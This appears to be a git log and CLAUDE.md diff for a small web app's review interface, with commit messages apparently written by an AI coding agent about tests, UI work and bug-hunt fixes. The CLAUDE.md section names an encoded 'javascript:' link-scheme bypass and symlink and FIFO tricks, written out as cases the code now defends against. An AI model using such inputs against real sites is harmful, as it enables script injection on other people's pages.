  regular files of at most 1 MiB only; malformed, nested-too-deep or
  planted markers read as nothing seen.
- landed_at reads symlinks by lstat and skips one unreadable entry
  instead of pinning the booth in "new".
- The Desk counts flags on current items only; orphan flags are listed
  under the tray with an unmark form.
- Agent-written bench and bookmark URLs link only when http(s).
- Audio and video tiles carry a review link.
- A rel the filesystem cannot represent is a 404, not a 500.
- A non-finite Accept q-value fails to parse.
- The standalone marks page has regions and updates in place.
- The review's next arrow sits at the edge at phone width.

Contract amended for each, plus an accepted-risks section (unlocked
.seen read-modify-write, a planted .viewed symlink, Item.ordinal with
no default).

741 passed. Each new browser test was mutation-checked against its fix;
the serialization test forces the race with a held first refresh, since
localhost alone never lost it.
2026-09-23 10:22:51 -07:00
vh fa5d46443d fix(r2): the heid code-review panel (round "Wren", 4/4) — triaged and folded
Code fixes:
- The narrow-screen fold was specified and never built (4/4). The tray and
  notes are now closed <details> in the aside; above 1000px CSS alone
  (::details-content) shows them and hides the summary. There is no
  script. Browser-tested at 390 and 1400, JS on and off.
- The lightbox gated on parsed board rows, not page identity (3/4). It now
  uses is_board, the lesson the bench panel already carried.
- wants_json returned True at the first good entry, so a malformed later
  entry was never read (3/4). It now parses every entry first; any error
  is False.
- One flag predicate, flagged_targets. It serves the Desk count, the tray,
  the filmstrip, the tape and the review button. An unreadable flag entry
  counts nowhere.
- The header's open count and lifetime line, and the no-set marks panel,
  are now regions (they were stale after an in-place answer).
- Inline group headers render only when every group is one contiguous run.
  Interleaved directories no longer reprint or misfile headers.
- A booth held unreadable has no open_since, even with a readable pick
  beside the damage.
- The swap marks an absent region is-stale instead of leaving it looking
  current. It carries disclosure state (except the sent form's). The
  failure message is readable for 0.9 s before the reload.

Contract amended where the code was right and the text was not: the
wants_json and record_seen signatures, landed_at's three refinements, the
group position being ring-based, the end of the set offering every other
open pick, the Space-key player exception, and the fold mechanism.

New tests cover the parse order; a board with media; the header region; the
no-set panel; interleaved groups; mixed damage; the flag predicate; the
review recording .viewed; the fold at two widths with JS on and off; the
status message before the reload; a lost response after a landed write
(exactly one note); a stale absent region; stage node identity across a
swap; and F with a radio focused. The lost-response and stale tests turn
red under their mutations. 724 passed.
2026-09-23 09:41:18 -07:00
vh 881c7f5df3 docs(r2): correct the provenance of the rewritten keyboard-flag test
The gallery's POST-303-reload was the no-JS design working, and it still
is (the INV-4 golden pins it). The defect was the full-size ejection. The
test's docstring and the contract's assertions table now say so (booth-dev
review).
2026-09-23 09:14:41 -07:00
vh 2511aab3d6 memory: a third way an instrument goes blind — nth-child vs nth-of-type
Credited to design-dev. His R2 order check has a positive control — one tile
given order:-1 that the check must catch — and the control went blind when group
headers became grid children: nth-child(5) started landing on a header rather
than the fifth tile.

Same class as the two defects already in this file. A control that no longer
controls reads exactly like a passing test; nothing in the output distinguishes
'detected nothing because there was nothing' from 'detected nothing because I am
aimed at the wrong element'.

The rule: nth-of-type over nth-child wherever the assertion means the Nth TILE
rather than the Nth child element. They agree until somebody adds a sibling of a
different kind, and adding siblings is what a redesign is.
2026-09-23 09:14:32 -07:00
vh 8acd10a8d2 refactor(r2): drop the kept/ephemeral card CSS; contract marked BUILT
The index no longer renders cards or lanes. Their rules, and the absolute
positioning the keep/wipe controls needed to float over a thumbnail, are
gone. The controls keep their shared button base; the Desk row and the
booth header place them. The contract is marked BUILT on the branch,
pending heid code-review and bug-hunt.
2026-09-23 09:10:34 -07:00
vh f8cb1b29af feat(r2): C6 the review, and C7
- The zoom route becomes the review for image, video AND audio: the native
  player on the stage for sound and video, the Fit/1:1 toggle for pictures
  only. The judgment rail, the tape and the filmstrip are each a data-region.
  The stage never is, so a playing track survives an in-place save.
- The rail shows the whole-set number, K of M in the review ring and the
  position in the group; then the caption, and the flag and notes, landing
  back here (back=view). A pick targeting this item is answerable in place.
  On the last item the end-of-set block lists what was seen, the flags, and
  every other open question.
- The keys are ← → Space F N Esc. Every one is ignored in an editable field,
  and Esc returns to the grid at the tile you were on.
- _marks.html gains picks_only/back_view, so a pick form has one renderer
  wherever it sits.
- In-place swaps now carry an unsaved draft across. A half-typed note
  survives a flag, except in the form that was just sent.
- The filmstrip keeps the current frame in view.
- C7: no emblem in the chrome, pinned.

Browser tests cover: F typed into the note stays a letter and does not
flag; F outside the note flags in place and the draft survives; Space
moves; Esc lands on the grid tile. 706 passed.
2026-09-23 09:06:15 -07:00
vh 50f88a3e5e feat(r2): C5 the lightbox, and the in-place client
- On a gallery booth the marks panel moves into a sticky verdict aside
  beside the set. The aside comes first in the document, so a narrow screen
  stacks the question above the work; grid areas place it on the right when
  wide. Nothing in an ordered collection moves. Boards are unchanged.
- The flag tray lists flagged items by tile number: the declared change
  from the panel list's (created, id). The standalone marks page keeps the
  list.
- Inline group headers are divs, never figure.item.
- Every mark-dependent element is a data-region: the verdict, each tile,
  the rail's filter counts. There is also a server-rendered status line.
- The in-place script (base.html) POSTs with an explicit JSON Accept, then
  on 204 swaps every region from a fresh GET. Live media and per-viewer view
  state are carried across the swap, so there is no layout jolt and no
  stopped track. It never re-POSTs: on failure it says so and reloads. Tile
  controls re-bind after a swap, and the grid cursor survives it.
- The `n` key opens the tile's closed note disclosure before focusing it.
- test_embed_browser's keyboard-flag test expected a navigation, which is
  the defect R2 removes. It is updated as declared in the contract, and
  tightened: a window marker must survive, proving no reload.

Browser tests: flag in place, with no reload and no scroll jump, and the
tile, tray and rail count all updated; and a failed save that reloads
without re-POSTing. Two mutations turn them red (no carry, no rail region).
700 passed.
2026-09-23 08:57:36 -07:00
vh ce27b06f32 feat(r2): C4 the Desk — the index triaged by what needs the operator
- list_booths gains open_since (parsed, never compared as text), flags,
  landed_at (content only; a new, differently named clock, INV-5),
  viewed_at, and a four-image preview that keeps blur.
- The index renders needs you / new since you looked / everything else,
  always in that order. Needs you includes unreadable marks, so a damaged
  judgment file cannot hide. Everything else keeps list_booths' order
  rather than stating a second rule. An empty section renders nothing.
- The side column holds live benches (a damaged registry says so),
  bookmarks from BOOTH_LINKS_BOARD with booth URLs left out (capped at 8),
  and the pickup form.
- test_booth's kept-lane test is rewritten as the contract declared: kept
  is a fact on each row, not a lane.

Two of the new tests were VACUOUS on their first draft, and mutation-
checking caught both. The clocks test used a future t0, so a hand-set
marker outranked every real write. The look-then-judge test followed the
flag's 303, and the resulting GET recorded a fresh look. Both are fixed
and now go red under their mutation.
2026-09-23 08:45:54 -07:00
vh b9750d221a feat(r2): C3 server side — 204 on an explicit JSON Accept, and back=view
- wants_json: true only for an exact `application/json` entry with q > 0.
  Absent, empty, wildcard, application/*, near misses, q=0 and malformed
  headers all fall through to the 303.
- The four mark routes share one exit, _mark_done: 204 with no body for the
  in-place client, otherwise _mark_redirect unchanged.
- back=view lands on /b/<name>/view?f=<rel>#rail, only for a media item of
  this booth. It is built from the resolved rel and never echoed. Anything
  else takes the no-`back` landing.
- tests/golden/r2_mark_303.json: 108 responses recorded from the PRE-R2
  code (6 route cases x back absent|marks x 9 non-JSON Accepts), replayed
  byte for byte (INV-4). Two mutations (q>=0, substring match) turn it red.
- The contract now states the q=0 rule.
2026-09-23 08:36:54 -07:00
vh 277554a3f7 feat(r2): C1 ordinals and C2 the review ring and .seen
- Item.ordinal: the 1-based position in booth_items over the items that
  render. It is appended, and set in the resolver. Tiles print it padded to
  the whole set's width, and a filter never renumbers.
- review_chain: the item order filtered to media. It replaces image_chain as
  the zoom route's ring, so a set of pictures and sound steps through both.
  image_chain stays importable.
- .seen: which media items were looked at full size, written by the review
  route under record_view's gate. It is rewritten whole: deduplicated, pruned
  to live items, sorted. The temp file is created with O_EXCL and swapped in
  with os.replace, so a planted symlink is replaced, never written through.
  It never raises.

Nine new tests. The contiguity and symlink tests are mutation-checked.
669 passed.
2026-09-23 08:32:38 -07:00
vh 7a4d3fcbf8 docs(contract): r2 — fold the heid contract panel (round "Lark", 4/4 arms)
Triaged, not adopted wholesale. Folded:
- Reviewing refreshes .viewed, as it already did. It is now stated, so the
  two clocks cannot read as disagreeing.
- INV-4 is scoped to pre-R2 request shapes. back=view is the declared
  exception.
- back=view lands on the review only for media items. Anything else falls
  back to the booth page.
- In-place regions: every element whose content can depend on marks is a
  region, including the rail counts, the filmstrip and the tape. The stage
  never is.
- The script never re-POSTs. A lost response must not duplicate a note or
  re-date an answer.
- The dangling "invariant 5" now points at the Booth's CLAUDE.md invariant 5.
- "M" is defined once. Needs-you is picks only. Every key is suppressed in
  editable fields.
- The toggle and the narrow collapse are classified against INV-3.
- Every Booth state file is a dotfile, stated. So are "no generated
  thumbnails" and the audio placeholder.
- The requirement wording is tightened, and C7 records the voice and emblem
  rulings.
2026-09-23 08:27:13 -07:00
vh ea44c18d42 docs(contract): r2 — fold booth-dev's items.py notes and the empty-section negative
Ordinal is appended, not inserted. The quote() guard stays, and skipped
items take no ordinal. Empty Desk sections do not render; this carries
forward the negative half of the kept-lane pair. The 1:1 toggle is bound
only when the stage is an image.
2026-09-23 08:18:01 -07:00
vh 051599a30e docs(contract): r2 — the review flow: the Desk, the lightbox, the review
PROPOSED. Ruled by the operator 2026-09-23 (flow: a_b, compare this_arc,
voice plain, emblem no). Compare is not in this contract; it follows as r3.
Seam-reviewed against the live module surfaces before the cross-frontier
contract panel returned. Four findings are folded in: Mark.created is a
string, the board is BOOTH_LINKS_BOARD, the bench-read error state, and an
unreadable marks file counting as needing the operator.
2026-09-23 08:15:32 -07:00
vh bf55364920 fix(theme): at phone width the JS-off rail fallback is the measured worst case
booth-dev suggested this. At or below 480px, .item's scroll-margin
fallback is 205px, the 16-group rail measured at 390px. With JS on,
--rail-h is exact and nothing changes.

Measured on the same 76 jumps:
- JS off: 0 under the rail, previously 19. At 390px, where a short rail
  gets the full fallback, tiles overshoot by at most 74px, and they stay
  visible.
- JS on: unchanged, 0 under.

660 passed; visual order still matches document order on 32 renders.
2026-09-23 08:12:54 -07:00
vh e8e49ceb14 fix(theme): a group jump lands its tile below the sticky rail, not under it
Heid bug-hunt finding (Gróa, relayed by booth-dev). The rail is sticky
and nothing set a scroll margin, so a fragment jump left the target tile,
and the :target reticle that marks it, hidden under the rail.

The rail wraps, so no CSS value can know its height. A small additive
script publishes the measured height as --rail-h, and a ResizeObserver
keeps it current across widths. .item's scroll-margin-top adds 12px to
that. With JS off, a 120px fallback applies.

Also styles the new empty-filter row (397ea89): the filter name in
heading ink, and a gap before the way back.

Measured, 76 group jumps across 2 booths x 4 widths (rail 48-205px):
- JS on: 0 under the rail, minimum clearance 11px.
- JS off: 0 at desktop widths. 19 at 390px, where a wrapped rail is
  143-205px tall and taller than the fallback.
Positive control: the pre-retheme skin fails 74/76.
Merged onto main 1826d19: 660 passed, mutation_check 20/20.
2026-09-23 08:12:54 -07:00
vh 744fa5263e feat(theme): SVOS retheme — concept-round candidate
Re-skins every Booth surface in the SVOS design system (design-systems
palettes/svos @ ed2f8d8). Visual and interaction layer only: no route,
no copy, no ordering and no information-architecture change.

- _svos_tokens.css: SVOS semantic tokens vendored by copy, with the four
  [data-theme] scopes re-scoped onto prefers-color-scheme and
  prefers-contrast (dark, light, dark-hc, light-hc). Included into
  base.html's <style>; cached at startup like every other template.
- base.html: the accreted Australis sheet is rewritten against semantic
  tokens only. It also fixes four undefined variables (--line, --bg,
  --fg, --muted) that the keep/blur/reveal controls had been reading.
  The three SVOS devices each have exactly one job: reticle = selection
  (grid cursor, :target, picked option), hazard = irreversible (Wipe
  now, armed bulk delete), glow = live power (service dot, live bench).
- The flag list renders as wrapped chips, so a large flag set no longer
  pushes the grid below the fold. The list order is unchanged.
- IBM Plex Sans + JetBrains Mono load via Google Fonts with
  display=swap and system fallbacks (approved by booth-dev).
- view.html, doc.html: inline styles moved onto tokens.
- embed.js: fragment palette as custom properties scoped to .bk-ask;
  `.bk-ask-opt:has(input:checked)` still appears exactly once.
- Favicon (base.html + app.FAVICON_HREF, kept in sync): graphite tile
  with reticle corners.

Verified: 642 passed, the same count as the pre-change baseline.
Visual order matches document order on 32 renders (4 booths x 4 widths
x 2 schemes). A positive control, one tile given `order:-1`, is
detected by the same check.
2026-09-23 08:12:54 -07:00
vh b46ac02be2 docs: the four flow rulings, compare unparked, and the beta premise superseded
All four ruled, all four taking design-dev's recommendation, relayed via Miranda
with booth-dev as sole relay. Verbatim copy committed at docs/rulings/ because
the booth holding it will sweep.

Which is the observation worth keeping: answering a pick removes the hold that
was protecting the record. A booth is held while its question is OPEN, so its
lifetime is shortest exactly when it has just become valuable — before the
answer it is a question, after it is the record of a decision, and only the
first state is protected. Both design booths hit this by different routes, one
withdrawn and one answered. Raised to design-dev as a flow question rather than
patched, since flow is his now.

Compare mode leaves the parking lot: our deferral, his overrule, recorded as his
call so nobody re-parks it by reading the older rule.

And v1.0.0b1's 'no new features' promise no longer describes the arc. The tag
stays as written — rewriting a released tag to flatter the present is how a
version stops being evidence — an alpha drop-back is illegal because 1.0.0a2
sorts below 1.0.0b1, and no further pre-release is cut until the arc lands.
2026-09-23 08:12:05 -07:00
vh f87976b54d memory: correct a review point we got wrong, rather than leave it to be re-asserted
We read design-dev's 'SET order' as 'the order they were set in' and told him it
was already (created, id). He meant the SET's order — by tile number — which
genuinely differs: flag #15 then #07 and today's panel lists #15, #07 while his
tray lists #07, #15.

His rule is also cleaner than the one we proposed. The flag set sorted by its
target's position in sorted(rel) is a total order needing no tie-break at all,
because rels are unique. The memory row now says so explicitly and tells the
next session not to re-raise the point.

Round 1's booth is kept; he releases it once the flow ask is ruled.
2026-09-23 07:21:19 -07:00
vh af57933255 memory: round 2 is up, and the ordering review that preceded it
Four rulings with the operator on booth-flow-concepts. design-dev asked for an
invariant-6 check before building, which is the right order and worth recording
as the pattern.

His ordinals rule is an improvement on invariant 6 rather than compliance with
it: an ordinal counting across all items makes a positional reference stable
under filters, where today 'the third one' silently means something different
the moment a filter is on. Nothing on our side had noticed.

Two corrections returned. Flag 'set order' is already (created, id) — set_flag
upserts and unflag removes the entry, so created IS the set time; what he
actually needs is the tie-break, not a new field. And 'last activity' must reuse
_newest_mtime, whose .lock exclusion was paid for: counting our own lock
sidecars made reading through a write path look like activity.
2026-09-23 07:20:28 -07:00
vh 6ba5a83f81 docs: the operator moved the design ownership boundary, and the fence was ours
Round 1 ruled not-as-shown: 'He didn't go far enough, still looks like the
booth. I want him to consider the flow and the requirements — design touches,
layout, usability all belong to him.'

The handoff paragraph that said we were not asking for layout changes driven by
information architecture is void. design-dev's 'class additions only, no
reordering' was that constraint honoured, so the ruling corrects our brief
rather than his round — worth recording that way round, because the next session
reading only the artifact would read it as a design failure.

Flow, layout, usability and the requirements are his now; the IA is no longer
fenced off. What survives is split in two on purpose: correctness invariants
that are not design opinions, and engineering defaults we chose that he may now
argue with, where a dispute goes to the operator rather than being settled
between agents.
2026-09-23 07:11:53 -07:00
vh dfd806aa9f docs(booth.html): name the .rail cross-file contract at the selector that depends on it
The SVOS retheme makes .rail load-bearing in two files owned by two different
agents: this template's grid-cursor start, and base.html's --rail-h measuring
script that publishes the rail's height for scroll-margin-top (the rail wraps,
so no CSS number can know it).

Neither breaks loudly if it is renamed. Ours starts the cursor one tile too
high; theirs falls back to a fixed guess. design-dev's sheet carries the mirror
of this note above the .rail rule, so the coupling is documented from both ends
rather than from whichever side happened to notice.
2026-09-23 06:57:32 -07:00
vh 06d83dfd2f memory: the staged design-dev ref moves — read it, do not trust a SHA written here
He rebases onto our main and rewrites the ref in place; it has already gone
878ed86 -> a99b7bb. Merging a SHA copied out of the memory file would merge a
pre-rebase branch that predates both his scroll-margin fix and our bug-hunt
batch.

Third instance of one class today: a 'PUSHED' row that was stale when written, a
postbox send-note promoted into durable memory, and now a moving ref recorded by
SHA. The file records what was true when written; anything that moves needs a
command, not a value.
2026-09-23 06:53:29 -07:00
vh 1826d19a1f memory: the bug-hunt panel, the raw-first fragment trap, and five vacuous falsifiers
The mechanic worth keeping: browsers match a URL fragment against element ids
RAW first and percent-decoded only second, so a raw rel on both the anchor and
the id is ambiguous rather than merely unencoded — and encoding one side only
relocates the collision.

The count worth keeping: five falsifiers in one unit were green under the exact
change they forbade, three arms finding the same one independently. A
guard-strength pass is the highest-value part of a panel on a diff that is
already well tested, because the findings sit in the gaps the comments are most
confident about.
2026-09-23 00:06:26 -07:00
vh 397ea89795 fix(u7): six defects from the heid bug-hunt panel, and five vacuous falsifiers
Cross-frontier panel (Gróa/Hulda/Regin/Kimi) on U7's diff, thread
01M368G2Y0JMTJ2T7M3JMTXV5Z. Four of the six fixes are for defects no test in
this repo could have caught, and the panel's guard-strength passes found five of
my own falsifiers green under the exact change they forbade.

THE 4-OF-4 FINDING — the group anchor could land on the WRONG artifact.
The anchor was the raw rel spliced into an href fragment while the tile id was
equally raw. A browser matches a fragment against ids RAW FIRST and only then
percent-decoded, so raw-on-both-sides is not merely unencoded, it is AMBIGUOUS:
with `a b.png` and `a%20b.png` in one booth, the first's href resolves to the
fragment `item-a%20b.png` and the raw pass matches the SECOND file's id. That is
the misfiled-judgment failure invariant 6 exists to prevent, arriving through a
path invariant 6 never looked at. Both sides now use `Item.url`
(`quote(rel, safe="/")`), which is injective here and is the convention
booth_flag has always used. The original test asserted the href occurred as SOME
id on the page — true while pointing at the wrong one.

GRÓA'S STRONGEST SOLO — a zero-hit filter removed the way back.
The rail was gated on the FILTERED list, so a valid filter with no matches
removed the rail, the filter links and the route back to `all`, while the
empty-booth branch announced the booth was empty with rail.total still holding
the real count. No recovery without editing the address bar, and it degraded the
same way with JavaScript off, on the surface the operator actually reviews on.
Gated on all_items now, with an explicit no-match row.

HULDA — one unrepresentable filename took out the INDEX, not just its booth.
A non-UTF-8 filename reaches CPython as a surrogate and quote() raises on it,
outside any per-item handler. booth_items feeds list_booths, so one 0xff byte in
one booth's filename 500s every booth's card. Such a file cannot be linked,
served or zipped, so it is skipped like a dotfile.

HULDA — the `f` shortcut has never worked. The selector named `.flagbtn`, which
nothing in this repo emits, so it fell through to the hidden target input;
clicking a hidden input does not submit its form, and the handler called
preventDefault anyway. Now clicks the flag form's real button, verified end to
end in a real browser.

GRÓA — a group jump was undone by the next keypress. The jump scrolls, the
cursor stayed at -1, and the next arrow focused tile 0 and scrolled back. The
cursor now picks up from the viewport, which also fixes the general
scroll-then-arrow case. Asserted on real scroll geometry in Chromium.

HULDA — the caption sidecar was read whole before being truncated, so a
pathological file was a MemoryError the OSError handler does not catch. Bounded
at the read, and deliberately NOT by st_size: a FIFO reports 0.

ACCEPTED KNOWN RISKS, both now documented rather than implied: no cap on rail
row count (1,000 groups of two would render 1,000 rows; the largest live booth
is 66 items and picking a cap without a booth that needs one is invented work),
and Item.group sits mid-dataclass (one construction site, keyword-only, grepped).
The docstring now names the UPPER median explicitly — two arms flagged that
"the middle group" admits both readings for an even count.

FIVE VACUOUS FALSIFIERS, found by the arms and not by me: the anchor test
survived v[0]->v[-1]; the informativeness guard survived sizes[-1]; the group
count survived len(v)+1; the zero-hit filter test used a fixture that HAD hits;
and the escaping test asserted over the whole page, so it went red on a code
comment. All rewritten, all mutation-proved. The table is up to 20 rows and one
drifted when I changed the line under it — reported by the harness, not silently
skipped, which is the behaviour tests/test_mutation_check.py exists to hold.

660 green; 20/20 proved. Deployed; 21/21 booths 200.

Held for design-dev, not fixed here: Gróa's finding that the sticky rail has no
scroll-margin, so a fragment jump tucks the target under it. It is one line in
base.html, the file he is rewriting from scratch.
2026-09-23 00:04:59 -07:00
vh 6042d10bf3 memory: the SVOS concept round is with the operator, and a latent CSS defect it surfaced
Three rulings open on booth-svos-retheme (ship / voice / emblem). The branch is
an inert ref; merge is gated on the rulings. Verified independently: nothing
checked out, main clean, merge-tree clean, merged tree 649 green.

The fixup hold is now partial — booth.html is released because design-dev does
not touch it, so bug-hunt findings there land immediately.

And a real one he caught on our side: base.html reads four CSS custom properties
and defines none of them, 15 uses without a fallback. An undefined var makes the
whole declaration invalid at computed-value time, so those buttons have had no
border at all and a transparent background — not merely default colours. The U7
rail reads the same names with fallbacks, which is why the rail looked
deliberate and the buttons under it never did. Assigned to his rewrite; fixing
it on main would collide with the one file he is rewriting.
2026-09-22 22:18:56 -07:00
vh 33e7149e24 fix(scripts): the mutation harness must not churn source mtimes
It rewrites a tracked file and restores it byte-for-byte — but the restore
bumped the mtime, and in this repo that is not cosmetic. The repo IS the
deployment root and nothing takes effect until the service restarts, so 'is
:8090 stale?' is answered by comparing the service's start time against source
mtimes. A tool that moves those without changing a byte makes that check lie:
it reported the live service 16 minutes stale while it was serving current code.

Restores atime/mtime with os.utime, with a test whose defeating change is
dropping that line. Found by using the staleness check for real, not by review.

649 green; 12/12 U7 falsifiers still proved.
2026-09-22 22:01:35 -07:00
vh c47b3dba7e memory: pushed v1.0.0b1, and a 'PUSHED' row that was stale when written
main and the annotated v1.0.0b1 tag are on origin; ahead 0, behind 0.

The push carried SIX commits, not the five this session produced: 2f85692 from
the previous session was still unpushed while the memory row above it said
PUSHED. A push is a point in time and this file is not, so the row now says to
run git rev-list rather than to believe it — the same class of error as
promoting a postbox send note into durable memory, twice in one day.
2026-09-22 21:58:46 -07:00
vh 2f6a0ee821 test: keep the mutation harness — scripts/mutation_check.py, with its own controls
Promotes the session-scratchpad harness that proved U7's twelve falsifiers into
a repo tool, on the operator's call. No version bump: test tooling and docs, no
production-code change, per the SemVer SKIP list.

A green test is not evidence. A test that has never seen its own defeating
change may pass under it too, forbidding nothing while reading as though it
forbids something. This repo shipped that three times — twice in one session,
and once an hour after writing the persistent-memory entry about it. Prose in a
memory file is not an instrument.

Tables live in tests/mutations/*.toml, one per unit, committed so a unit's
proofs are an artifact rather than terminal scrollback. Adding a unit means
adding a file, never editing the script. u7_navigation.toml was generated from
the harness that proved those twelve, not retyped, and every anchor was verified
against the source before it landed.

THE TOOL GETS ITS OWN POSITIVE AND NEGATIVE CONTROLS, which is the point. It
shipped two defects in one session, each of which made it report a falsifier
PROVED WITHOUT RUNNING IT, and both were found by accident rather than by
anything checking:

  no green baseline — a test that is ALREADY red reports red for every mutation
  thrown at it, so a broken assertion reads as a certified falsifier

  the bytecode cache — `< 2` -> `< 1` is byte-identical in size, and CPython
  validates a .pyc against the source's (mtime, size) at one-second granularity,
  so a mutation landing in the same second as the revert before it runs against
  cached bytecode; the tell was a verdict flipping between consecutive identical
  runs

tests/test_mutation_check.py now carries a control for each, plus the one
usually skipped: a KNOWN-VACUOUS falsifier the tool must catch. An instrument
that only ever sees unknowns cannot tell "nothing wrong here" from "I am blind",
and twelve `proved` lines from a blind instrument are worth nothing.

Also hardens the tool against itself: it writes to tracked source files, so the
restore is verified rather than assumed, and a .mutation-inflight marker makes a
run killed mid-mutation refuse the next start instead of silently measuring a
mutated tree.

648 tests green; 12/12 U7 falsifiers still proved.
2026-09-22 21:58:12 -07:00
vh 82ac7c44e4 docs: design-dev accepted the SVOS retrofit — the /vor-ui brief is declined, and why
The ROADMAP row requiring a /vor-ui brief predates the IA doc. With that doc,
the landed templates and the seven handoff constraints, a /vor-ui pass would
have cost the operator a serial Q&A to re-derive IA already measured. design-dev
made that argument and it is better than the row it overrides.

Also settles: we merge and restart; he works against a copy, never :8090; the
concept round goes to the operator; webfonts by CDN link with display=swap,
because the CDN-free property turned out to be accreted rather than an
invariant (checked CLAUDE.md, the non-goals and the IA doc).

Corrects a memory defect in the same commit: a postbox send note is a
point-in-time snapshot and one was promoted into persistent memory as a durable
fact about a handle's delivery mode. It was wrong within the hour.
2026-09-22 21:51:35 -07:00
vh 8a18dd13ab memory: snapshot — v1.0.0b1 cut, the version that was two copies, and the design-dev handoff 2026-09-22 21:41:56 -07:00
83 changed files with 22938 additions and 1087 deletions
+3
View File
@@ -6,3 +6,6 @@ __pycache__/
booth-data/
uv.lock
graphify-out/
# scripts/mutation_check.py crash marker — never committed
.mutation-inflight
+86 -10
View File
@@ -39,7 +39,7 @@ lags the code defeats its own purpose.
These are the ones a casual change breaks silently. Each has a test.
### 1. `links.py`, `asks.py` and `marks.py` are stdlib-only, on purpose
### 1. The modules `scripts/booth` imports are stdlib-only, on purpose
`scripts/booth` — the CLI every fleet session uses — imports them directly:
@@ -48,27 +48,68 @@ BOOTH_SRC=… python3 -c 'import sys; sys.path.insert(0, …); from booth.marks
```
It runs under the system `python3` with **no venv**. A single third-party
import in any of the three breaks `booth ask` / `booth marks` / `booth answer` /
`booth unlink` on every host, and the failure surfaces in an agent's session,
not in ours.
import in any of them breaks `booth ask` / `booth marks` / `booth answer` /
`booth unlink` / `booth blur` on every host, and the failure surfaces in an
agent's session, not in ours.
`items.py` and `app.py` are free to import what they like. Those three are not.
`test_stdlib_only` walks each module's AST imports and asserts it — the CLI
imports through a `python3 -c` heredoc that no AST extractor can see, so that
test is the only thing standing here.
The set is `marks`, `asks`, `links`, `manifest`, `benches`, `blur` and
`__init__` (which runs before every one of them). **The list of record is
`test_stdlib_only`'s parametrize in `tests/test_marks.py`**, not this
paragraph. `items.py` and `app.py` are free to import what they like; those are
not. `test_stdlib_only` walks each module's AST imports and asserts it — the
CLI imports through a `python3 -c` heredoc that no AST extractor can see, so
that test is the only thing standing here. A new module the CLI imports goes on
that list in the same commit.
### 2. The filesystem is the state
No database. `ls ~/booth-data` tells you everything the service knows.
Per-booth operator state is a **dotfile inside the booth**: `.forever` (keep),
`.viewed` (last deliberate look — U4's "viewing is activity"), `.blurred` (one
rel per line), `.marks.json` + `.marks.lock` (judgment), `.pins` (link-board pin
`.viewed` (last deliberate look — U4's "viewing is activity"), `.blurred.json`
(the per-item blur set, a JSON ARRAY — see below; the legacy `.blurred` is
read-only), `.seen` (R2: rels looked at full size, a JSON ARRAY), `.blurbooth` (the whole booth fogged — a MARKER like `.forever`, not
JSON, because a boolean has no rels to round-trip), `.marks.json` + `.marks.lock` (judgment), `.pins` (link-board pin
ids), `.uploaded` (upload-booth marker). `booth_items()` skips `name.startswith(".")`, so a new
dotfile costs nothing in item counts, galleries or zips. That skip is why the
dotfile is the right shape for new operator state — use it rather than
inventing a sidecar-per-item.
⚠ **A dotfile that holds rels is a JSON array, opened `O_NOFOLLOW |
O_NONBLOCK` with an `S_ISREG` check and a size cap.** A rel may carry a leading
space or a newline, and line-stripped storage does not round-trip it: `.blurred`
was one stripped rel per line, and blurring `" a.png"` blurred `a.png` instead.
`.seen` was written as JSON for exactly that reason (design-dev, R2), and the
blur set now matches it in `.blurred.json` (`booth/blur.py`). The open flags
mean a planted symlink is refused and a FIFO cannot hang the read, which is the
outage in `persistent-memory.d/2026-09-22-size-cap-opened-a-hang.md`. **Any new
dotfile inherits that shape.**
⚠ **A format change gets a NEW NAME, never a sniffed file.** The first cut of
the blur fix wrote JSON into `.blurred` and guessed the format from the bytes;
a legacy file whose one line is an item literally named `["a.png"]` parses as
JSON and blurs the neighbour, the bug being fixed (heid bug-hunt, 3 of 3). So
`.blurred.json` is JSON only, the legacy `.blurred` is lines only and read only
while `.blurred.json` is absent, and the first write retires it. Do not remove
that legacy read while a line-format file can still exist.
**Reads lenient, writes strict; and a writer is judged by its reader.** The
renderer's `read_blurred` turns anything it cannot read into an empty set,
because a damaged file must cost the blur and never the page. The writer
builds on `_load`, the same parse, which REFUSES instead: a regular file it
cannot read (a permission, over the cap, not JSON) is never overwritten with a
set that forgot what it held. That is the `.marks.json` wipe again, and the
blur writer shipped without the guard for a night. After writing,
`set_blurred` re-reads and raises `BlurUnwritable` unless the reader returns
exactly the set asked for. The route answers either refusal with 409, never
500.
**A dotfile with two writers has ONE implementation of the writer, and one
predicate for its keys.** The blur set is written by the service and by `booth
blur`; both call `booth.blur.set_blurred`, and both ask `check_rel` what an
item path is. The CLI used to keep a grep/printf writer and a `*..*` guard of
its own, which refused `a..b.png` where the route accepted it.
### 3. One resolver for item facts
`booth.items.booth_items(booth)` is the only place a file is classified, a
@@ -110,6 +151,15 @@ a crash mid-write cannot truncate a file into a shorter — and therefore quiete
template escapes it inside `<pre>`, and pre-escaping here double-encodes under
Jinja autoescape.
⚠ **The markdown case is the one `|safe` render in the repo, so it carries its
own escaping.** Raw HTML in a doc is escaped to text (the block and inline HTML
processors are deregistered), and every link href goes through
`links.is_safe_href` after browser-style decoding, where `java&#115;cript:` is
`javascript:` (and a backslash reads as a slash, so `/\evil.test` is
off-origin). A render that raises falls back to raw text, which the template
escapes. Until 2026-09-28 a posted `.md` could run script on the Booth's
origin. Anything else that renders author text `|safe` inherits these rules.
### 6. Every ordered collection has a stated, deterministic order
Operator directive, 2026-09-21. Not "usually stable" and not "whatever `rglob`
@@ -215,6 +265,32 @@ curl -s localhost:8090/healthz # the live service (systemd --user)
systemctl --user restart booth.service # after a code change, to see it live
```
⚠ **A GET of a booth page, its marks page or a review page RECORDS A LOOK**
(`.viewed`, and `.seen` for a review page). A post-deploy check that fetches
every booth on `:8090` tells the service the operator looked at all of them at
once: it empties "new since you looked", marks items seen on the tape, and
pushes every expiry out a day. Two sessions did exactly that on 2026-09-23.
Check the live service with requests that record nothing (`/healthz`, the Desk
at `/`, `?thumb=1` file fetches), and check pages against a COPY of the data
(`rsync` it into the scratchpad, `TestClient(create_app(copy))`).
```sh
.venv/bin/python scripts/mutation_check.py # prove the falsifiers still falsify
```
**A green test is not evidence.** A test that has never seen its own defeating
change may pass under it too — forbidding nothing while reading as though it
forbids something. This repo shipped that three times before the tool existed
(twice in one session, once an hour after writing the entry about it). Tables
live in `tests/mutations/*.toml`, one per unit, committed so a unit's proofs are
an artifact rather than scrollback; adding a unit means adding a file, never
editing the script. `tests/test_mutation_check.py` holds the tool's own positive
and negative controls, because an instrument that only ever sees unknowns cannot
tell "nothing wrong" from "I am blind".
When you add a `*Falsifiable:*` line to a contract, add its row to the table and
run it. A falsifier nobody has run is a claim, not a test.
`tests/test_embed_browser.py` drives a real Chromium against a real uvicorn on
